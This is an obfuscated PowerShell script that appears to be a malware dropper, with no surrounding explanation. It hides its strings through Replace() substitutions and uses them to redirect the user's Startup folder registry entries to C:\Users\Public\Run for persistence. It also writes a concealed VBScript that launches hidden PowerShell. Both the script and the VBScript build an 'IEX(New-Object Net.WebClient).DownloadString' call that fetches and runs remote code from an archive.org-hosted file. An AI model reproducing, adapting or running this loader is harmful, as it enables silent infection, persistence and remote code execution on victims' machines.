$H1="C:\Use++++++++++++++++++++un".Replace("++++++++++++++++++++","rs\Public\R")
$H2 = "Crea--------------------ry".Replace("--------------------","teDirecto")
[system.io.directory]::$H2($H1)
start-sleep -s 5
$H3 = "HKCU:\Softw-----------------lders".Replace("-----------------","are\Microsoft\Windows\CurrentVersion\Explorer\User Shell Fo")
$H4= "HKCU:\Softwar+++++++++++++++++++++++++++ders".Replace("+++++++++++++++++++++++++++","e\Microsoft\Windows\CurrentVersion\Explorer\Shell Fol")
$H5 = "C:\Us--------------c\Run".Replace("--------------","ers\Publi")
$H6 ="C------------blic\Run".Replace("------------",":\Users\Pu")

Set-ItemProperty -Path $H3 -Name "Startup" -Value $H5;
Set-ItemProperty -Path $H4 -Name "Startup" -Value $H6;
start-sleep -s 5
$Content = @'
Dim SOS
Set SOS = CreateObject("WScript.S"&"HELL")
WEZRXTCYVUBIJNIMKO = chr(80) &"O" & Chr(87)
REDTFYGUHIJOKIJUYGTFYYJHUJKI = Chr(69)
WZEFXRGCTHVYHTCRTXETYGU = Chr(82) & "s"&"H" & Chr(69)
ESRDTFYGJFTDYRYTFYGUH = Chr(76)
FEXRGCHTVYJBTRCHTVJYB =Chr(76)&" $TRUMP ='https://ia601407.us.archive.org/34/items/jenape-918743814/Jenape_918743814.txt';$B ='ETH COI"&"Nt.WTF COINlIOSNT'.Repl"&"ace('ETH COIN','nE').Rep"&"lace('TF COIN','EbC').Re"&"place('OS','e');"
FEXGRCHTVYJBKUNILMO = "$CC = 'DOS COIN L"&"SOSCOINnG'.Repl"&"ace('S COIN ','Wn').Repla"&"ce('SO','oaD').Repl"&"ace('COIN','TrI');"
RDGTFHGYJHUKJHUYGTFYGJUHK =""
ERTDFYUGHIYUTYTUGIH ="$A ='I`Eos COIN`W`BTC CO"&"INj`ETH COIN $B).$CC($TR"&"UMP)'.Repla"&"ce('os COIN','X(n`e').Rep"&"lace('BTC COIN','-Ob').R"&"eplace('TH COIN','`c`T');"
RDGTHFYGJHKILKTRTFGYIUOJPO ="&('I'+'EX')($A -Jo"&"in '')|&('I'+'EX');"
FXGCVJBHKJNKJTYYTVYUBUNJI = WEZRXTCYVUBIJNIMKO+REDTFYGUHIJOKIJUYGTFYYJHUJKI++WZEFXRGCTHVYHTCRTXETYGU+ESRDTFYGJFTDYRYTFYGUH+FEXRGCHTVYJBTRCHTVJYB+FEXGRCHTVYJBKUNILMO+RDGTFHGYJHUKJHUYGTFYGJUHK+ERTDFYUGHIYUTYTUGIH+RDGTHFYGJHKILKTRTFGYIUOJPO+""
SOS.Run FXGCVJBHKJNKJTYYTVYUBUNJI,0
'@
Set-Content -Path C:\Users\Public\Run\Run.vbs -Value $Content

start-sleep -s 5

$TRUMP = 'https://ia601407.us.archive.org/34/items/jenape-918743814/Jenape_918743814.txt';
$B = 'ETH COINt.WTF COINlIOSNT'.Replace('ETH COIN','nE').Replace('TF COIN','EbC').Replace('OS','e');
$CC = 'DOS COIN LSOSCOINnG'.Replace('S COIN ','Wn').Replace('SO','oaD').Replace('COIN','TrI');
$A ='I`Eos COIN`W`BTC COINj`ETH COIN $B).$CC($TRUMP)'.Replace('os COIN','X(n`e').Replace('BTC COIN','-Ob').Replace('TH COIN','`c`T');
&('I'+'EX')($A -Join '')|&('I'+'EX');